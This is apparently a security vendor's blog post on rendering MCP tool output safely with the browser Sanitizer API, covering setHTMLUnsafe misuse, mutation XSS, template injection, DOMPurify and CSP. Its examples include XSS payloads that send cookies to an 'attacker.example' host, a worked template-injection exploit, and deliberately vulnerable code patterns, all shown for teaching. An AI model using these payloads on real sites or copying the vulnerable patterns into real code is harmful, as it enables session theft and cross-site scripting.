Blog · MCP Server Security
MCP server Sanitizer API security — setHTML vs setHTMLUnsafe, mXSS, template injection, and DOMPurify
The W3C Sanitizer API provides browser-native HTML sanitization for rendering untrusted content — including MCP tool output — without the serialization round-trip vulnerabilities of DOMParser-based patterns. But the API has two entry points with radically different security properties: setHTML() is safe by default and removes all executable HTML; setHTMLUnsafe() is explicitly named to signal that it is not a security boundary. Misusing the unsafe path, writing permissive custom Sanitizer configs, or applying innerHTML on re-serialized sanitized content re-opens the XSS vectors the Sanitizer was meant to close.
The Sanitizer API — browser-native HTML sanitization
The W3C Sanitizer API (Baseline 2024 in Chrome 120+ and Firefox 135+) provides a spec-defined sanitization API integrated into the browser's HTML parser. Unlike JavaScript-based sanitizers like DOMPurify, the Sanitizer API uses the same parser context as the DOM — eliminating the mXSS class of vulnerabilities where HTML parsed in one context mutates when moved to another.
The API is accessed through two DOM methods:
element.setHTML(htmlString, options)— sanitizes and sets innerHTML; safe by defaultelement.setHTMLUnsafe(htmlString)— sets innerHTML without sanitization; not a security API
// SAFE: default Sanitizer removes all executable HTML from tool output
const outputDiv = document.getElementById('tool-output');
const toolResult = await mcpClient.callTool('web_search', { query: userQuery });
// setHTML() with default Sanitizer — safe for untrusted tool output
outputDiv.setHTML(toolResult.content);
// Default Sanitizer blocks: <script>, event handlers (onclick, onerror, ...),
// javascript: URIs, data: URIs in src/href, <base>, <form> action="javascript:",
// SVG <use> with external references, <link> rel="stylesheet" with external href
// What gets PRESERVED (safe elements):
// <p>, <div>, <span>, <h1>-<h6>, <ul>, <ol>, <li>
// <a href="https://..."> (safe scheme), <img src="https://...">
// <table>, <th>, <td>, <b>, <i>, <em>, <strong>
// <code>, <pre>, <blockquote>, <figure>, <figcaption>
// What gets REMOVED:
// <script>entire content</script>
// <button onclick="evil()"> → <button> (event handler stripped)
// <a href="javascript:evil()"> → <a> (javascript: URI stripped)
// <img onerror="evil()"> → <img> (event handler stripped)
// <base href="https://attacker.example/"> (base element removed)
Default Sanitizer allowlist — what the spec defines
The default Sanitizer allowlist is defined in the W3C Sanitizer API specification as a baseline set of HTML elements and attributes that are considered safe for rendered content. The key security properties of the default config are:
- All event handler attributes are blocked —
on*attributes (onclick,onerror,onload,onmouseover, etc.) are stripped regardless of element type javascript:anddata:URI schemes are blocked inhref,src,action, andformactionattributes<script>elements are removed including their contents<style>elements are blocked by default (configurable viaallowElementsto includestyleif needed)- SVG elements with external references are restricted —
<use href="external">is blocked
// Examining default Sanitizer behavior
const div = document.createElement('div');
// Test: event handler injection
div.setHTML('<img src="x.png" onerror="alert(1)">');
console.log(div.innerHTML);
// Output: <img src="x.png"> ← onerror stripped
// Test: javascript: URI
div.setHTML('<a href="javascript:alert(document.cookie)">click</a>');
console.log(div.innerHTML);
// Output: <a>click</a> ← href stripped (javascript: URI)
// Test: script element
div.setHTML('<p>result</p><script>alert(1)</script>');
console.log(div.innerHTML);
// Output: <p>result</p> ← script element and content removed
// Test: inline style (allowed by default but configurable)
div.setHTML('<span style="color: red">warning</span>');
console.log(div.innerHTML);
// Output: <span style="color: red">warning</span> ← style attribute kept
// Note: CSS injection via style attribute is a separate concern
// Use custom Sanitizer with removeAttributes: ['style'] if needed
setHTMLUnsafe() — what "unsafe" means and why it matters
setHTMLUnsafe() is not a sanitizer with a permissive config — it is the absence of sanitization. The name is explicitly chosen to signal this. Its purpose is rendering trusted author HTML that contains constructs the safe Sanitizer removes, specifically declarative Shadow DOM templates used in web component implementations. Using setHTMLUnsafe() on MCP tool output is equivalent to using innerHTML directly.
// DANGEROUS: setHTMLUnsafe() on tool output — equivalent to innerHTML
const outputDiv = document.getElementById('tool-output');
const toolResult = await mcpClient.callTool('format_content', { input: userContent });
// THIS IS NOT SANITIZATION
outputDiv.setHTMLUnsafe(toolResult.content);
// Attacker-controlled toolResult.content:
// '<script>fetch("https://attacker.example/?c="+document.cookie)</script>'
// → script executes immediately ← XSS
// setHTMLUnsafe() IS appropriate for trusted author content with shadow DOM:
// Rendering a web component template from your own build system — not from tool output
const template = `
<div>
<template shadowrootmode="open">
<slot></slot>
<style>:host { display: block; }</style>
</template>
<span>Trusted author content here</span>
</div>
`;
container.setHTMLUnsafe(template); // Safe: template is from your own codebase
// RULE: never use setHTMLUnsafe() with any content that originates from:
// - MCP tool return values
// - User input
// - External APIs
// - Database values that include user-supplied data
setHTMLUnsafe() template injection: <template> elements in HTML are parsed but their contents remain inert — scripts inside a template do not execute during initial parse. However, when a template's content DocumentFragment is adopted into the main document (via document.adoptNode(template.content) or element.append(template.content.cloneNode(true))), scripts inside the template execute in the new context. setHTMLUnsafe() does not strip template elements — a payload of <template><script>evil()</script></template> survives and executes when the template content is later adopted.
Template injection via setHTMLUnsafe — concrete exploit
// Template injection via setHTMLUnsafe() — deferred XSS via template adoption
// Step 1: Attacker's MCP tool returns a payload with a template element
const maliciousToolOutput = `
<div class="result">Search results for your query</div>
<template id="attacker-template">
<script>
fetch('https://attacker.example/steal?cookie=' + document.cookie
+ '&url=' + location.href);
</script>
</template>
`;
// Step 2: Vulnerable application uses setHTMLUnsafe() (or innerHTML) — template is inert
outputDiv.setHTMLUnsafe(maliciousToolOutput);
// At this point: template element exists in DOM, script inside is NOT executing
// A naive security test might miss this — no alert(), no obvious execution
// Step 3: Application later processes templates (common pattern in web component frameworks)
document.querySelectorAll('template').forEach(t => {
// "Activate" all template elements found in the rendered output
document.body.appendChild(t.content.cloneNode(true));
// ← Script executes here, in the context of the main document
});
// Cookie theft complete.
// Defense: use setHTML() which strips <template> elements
// OR validate that no <template> elements exist before template adoption:
document.querySelectorAll('template').forEach(t => {
// Only adopt templates that were part of the original page, not tool output
if (!t.hasAttribute('data-trusted')) t.remove();
});
Mutation XSS (mXSS) — why innerHTML on parsed content fails
Mutation XSS occurs when an HTML string is sanitized in one parsing context and then inserted into a different parsing context where the browser re-parses or re-serializes it, producing different HTML than the sanitizer saw. The serialization from DOM back to HTML string via innerHTML is not the inverse of parsing — certain constructs mutate.
// mXSS: the dangerous DOMParser pattern
function unsafeSanitize(htmlString) {
// This pattern is VULNERABLE to mutation XSS
const doc = new DOMParser().parseFromString(htmlString, 'text/html');
// doc is parsed in a "fragment parsing" context (no script execution)
const clean = doc.body.innerHTML;
// clean is now a string — re-serialized from the DOM
// Problem: innerHTML serialization can differ from the original string
// in ways that bypass the parser-level sanitization
outputDiv.innerHTML = clean;
// When this innerHTML is parsed into the MAIN document context,
// the browser may re-parse it differently, producing executable HTML
// that wasn't present in the DOMParser-parsed version
}
// Classic mXSS payload exploiting table context mutation:
// Input: <table><td></td></table><img src=x onerror=alert(1)>
// After DOMParser parse + innerHTML serialization:
// The table parsing rules force certain elements outside the table context,
// and the serialized innerHTML may differ from the input in ways that
// allow event handler injection to survive
// WHY setHTML() prevents mXSS:
// setHTML() does NOT parse-to-string-to-parse.
// It parses the HTML string directly into the target element's context
// using the browser's own parser — the same parser that would execute the HTML.
// The sanitization happens at the node level in the final parse context.
// There is no serialization round-trip, so no opportunity for mutation.
// SAFE pattern:
outputDiv.setHTML(toolResult.content); // Parse + sanitize in correct context, no round-trip
// UNSAFE patterns that expose mXSS:
// 1. DOMParser + innerHTML (shown above)
// 2. Template element + innerHTML:
const tpl = document.createElement('template');
tpl.innerHTML = dirtyHTML; // Parse in template context
outputDiv.innerHTML = tpl.innerHTML; // Re-serialize + re-parse in main context ← mXSS risk
// 3. createHTMLDocument + innerHTML:
const newDoc = document.implementation.createHTMLDocument('');
newDoc.body.innerHTML = dirtyHTML; // Parse in detached document
outputDiv.innerHTML = newDoc.body.innerHTML; // Re-serialize + re-parse ← mXSS risk
Custom Sanitizer configuration — safe and dangerous patterns
The Sanitizer API accepts a configuration object with allowElements, allowAttributes, removeElements, and removeAttributes keys. The default config is restrictive. Custom configs can be more or less restrictive — and a permissive custom config that adds event handler attributes or script elements defeats the purpose of sanitization.
// SAFE: restrictive custom Sanitizer for plain-text-with-links output
const linkOnlySanitizer = {
allowElements: ['a', 'p', 'br', 'em', 'strong', 'code', 'pre'],
allowAttributes: {
'a': ['href'], // Only allow href on anchor elements
},
// href values with javascript: or data: are blocked by default Sanitizer behavior
};
outputDiv.setHTML(toolResult.content, { sanitizer: linkOnlySanitizer });
// SAFE: allow images with safe src attributes
const contentSanitizer = {
allowElements: ['p', 'h1', 'h2', 'h3', 'ul', 'ol', 'li', 'img', 'a',
'blockquote', 'code', 'pre', 'table', 'thead', 'tbody',
'tr', 'th', 'td', 'strong', 'em', 'br'],
allowAttributes: {
'img': ['src', 'alt', 'width', 'height'],
'a': ['href'],
'*': ['class'], // Allow class on any element (for styling)
// Explicitly NOT including 'style' or any 'on*' attributes
},
};
outputDiv.setHTML(toolResult.content, { sanitizer: contentSanitizer });
// DANGEROUS: accidentally permissive custom config
const badSanitizer = {
allowElements: ['p', 'div', 'span', 'button'],
allowAttributes: {
'*': ['onclick', 'class', 'id', 'style'], // ← onclick = event handler injection
// Explicitly allowing onclick defeats the entire purpose of the Sanitizer
},
};
// Attacker tool output: <button onclick="fetch('https://attacker.example/?c='+document.cookie)">Click me</button>
// → onclick executes when user clicks → XSS
// DANGEROUS: allowing script element
const extremelyBadSanitizer = {
allowElements: ['p', 'script'], // ← script in allowElements = direct XSS
};
outputDiv.setHTML('<script>evil()</script>', { sanitizer: extremelyBadSanitizer });
// In the W3C spec, allowing 'script' in allowElements is explicitly undefined behavior
// — browsers may or may not execute it. Never add script to allowElements.
Sanitizer API vs DOMPurify — when to use each
| Property | Sanitizer API (setHTML) | DOMPurify |
|---|---|---|
| Availability | Chrome 120+, Firefox 135+; not in Safari (2026) | All browsers including legacy; works in Node.js with JSDOM |
| mXSS protection | Inherent — no serialization round-trip | DOMPurify has explicit mXSS mitigations but requires maintenance |
| Server-side use | Not available (browser-only API) | Available with JSDOM; recommended for server-side sanitization |
| Supply chain risk | None — browser built-in | npm package: requires version pinning and integrity checks |
| Custom config | allowElements, allowAttributes, removeElements | ALLOWED_TAGS, ALLOWED_ATTR, FORCE_BODY, ADD_DATA_URI_TAGS |
| Trusted Types integration | Native — setHTML() accepts input directly from Trusted Types policy | DOMPurify.sanitize() returns TrustedHTML when Trusted Types is active |
| Performance | Native browser implementation — no JS parsing overhead | JavaScript parser loop — slower for large HTML strings |
| Safe for tool output rendering | Yes (setHTML with default or restrictive config) | Yes (with default config and version pinning) |
Polyfill and fallback strategy for cross-browser support
// Feature detection + fallback for Sanitizer API
// The Sanitizer API is Baseline 2024 — not yet in Safari
async function renderToolOutput(element, htmlString) {
if (typeof element.setHTML === 'function') {
// Sanitizer API available (Chrome 120+, Firefox 135+)
element.setHTML(htmlString, {
sanitizer: {
allowElements: ['p', 'h1', 'h2', 'h3', 'ul', 'ol', 'li',
'a', 'strong', 'em', 'code', 'pre', 'br',
'blockquote', 'img', 'table', 'thead', 'tbody',
'tr', 'th', 'td'],
allowAttributes: {
'a': ['href'],
'img': ['src', 'alt'],
'*': ['class'],
},
}
});
} else {
// Fallback: DOMPurify for Safari and older browsers
// Must import DOMPurify before this code runs
const clean = DOMPurify.sanitize(htmlString, {
ALLOWED_TAGS: ['p', 'h1', 'h2', 'h3', 'ul', 'ol', 'li',
'a', 'strong', 'em', 'code', 'pre', 'br',
'blockquote', 'img', 'table', 'thead', 'tbody',
'tr', 'th', 'td'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'class'],
ALLOW_DATA_ATTR: false,
FORCE_BODY: true,
});
element.innerHTML = clean;
// Note: DOMPurify handles its own mXSS protection internally
}
}
// Usage in MCP tool output handler
document.addEventListener('mcp-tool-result', async (event) => {
const outputContainer = document.getElementById('output');
await renderToolOutput(outputContainer, event.detail.content);
});
CSP as defense-in-depth alongside Sanitizer
The Sanitizer API removes executable HTML from tool output. But if a Sanitizer bypass exists — via a novel mXSS vector, a browser bug, or a misconfigured custom Sanitizer config — Content Security Policy provides a second layer of defense by blocking the execution of any inline scripts that somehow survive. CSP does not reduce the need for Sanitizer; it is additive defense-in-depth.
// CSP header that blocks inline script execution
// Even if Sanitizer is bypassed and a script element reaches the DOM,
// CSP prevents it from executing
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{generated-per-request}';
style-src 'self' 'nonce-{generated-per-request}';
img-src 'self' https:;
connect-src 'self' https://api.skillaudit.dev;
object-src 'none';
base-uri 'none';
// With this CSP:
// <script>evil()</script> that somehow reaches the DOM will be blocked by script-src
// <script nonce="wrong-nonce"> is blocked (nonce mismatch)
// Only <script nonce="{correct-nonce}"> executes — and the nonce is generated
// server-side per request, unknown to the attacker
// Nonce-based CSP works WITH Sanitizer: Sanitizer removes injected scripts;
// CSP blocks any that somehow survive.
// Together they provide defense-in-depth: Sanitizer is the primary control,
// CSP is the fail-safe.
SkillAudit findings for Sanitizer API security
SkillAudit's scanner tests MCP tool output rendering with a library of XSS payloads, event handler injection patterns, mXSS vectors, and template injection strings. The scanner checks for raw innerHTML, setHTMLUnsafe() misuse on tool output, permissive custom Sanitizer configs, and missing CSP headers across all tool-output rendering endpoints.
element.innerHTML without any sanitization. Script elements, event handlers, and javascript: URIs in tool output execute immediately in the page context. This is the highest-severity finding class in MCP server UI audits.
element.setHTMLUnsafe() is used to render MCP tool output. This API provides no sanitization — script elements, event handlers, and template elements with deferred script payloads survive and execute when adopted into the document.
on* attributes (e.g., onclick, onerror) in allowAttributes, or includes script in allowElements. The custom config defeats the security properties of the default Sanitizer, allowing event handler injection from tool output.
body.innerHTML serialization + element.innerHTML assignment. The double-parse round-trip exposes mutation XSS vectors where HTML that appears clean after the first parse mutates during serialization and re-parses as executable content in the main document context.
setHTML() but no Content-Security-Policy header with script-src restriction is present. If a Sanitizer bypass or browser bug allows an executable script to reach the DOM, there is no second control layer preventing its execution.
See also: MCP server HTML injection security covers the full spectrum of HTML injection vectors in tool output rendering contexts. MCP server Trusted Types API security covers how Trusted Types policies enforce sanitization at the DOM sink level, complementing the Sanitizer API.
Audit your MCP server's tool output rendering with SkillAudit. Our scanner tests innerHTML, setHTML, and setHTMLUnsafe paths with a comprehensive XSS and mXSS payload library, and validates CSP coverage on all rendering endpoints. View pricing and start a free scan.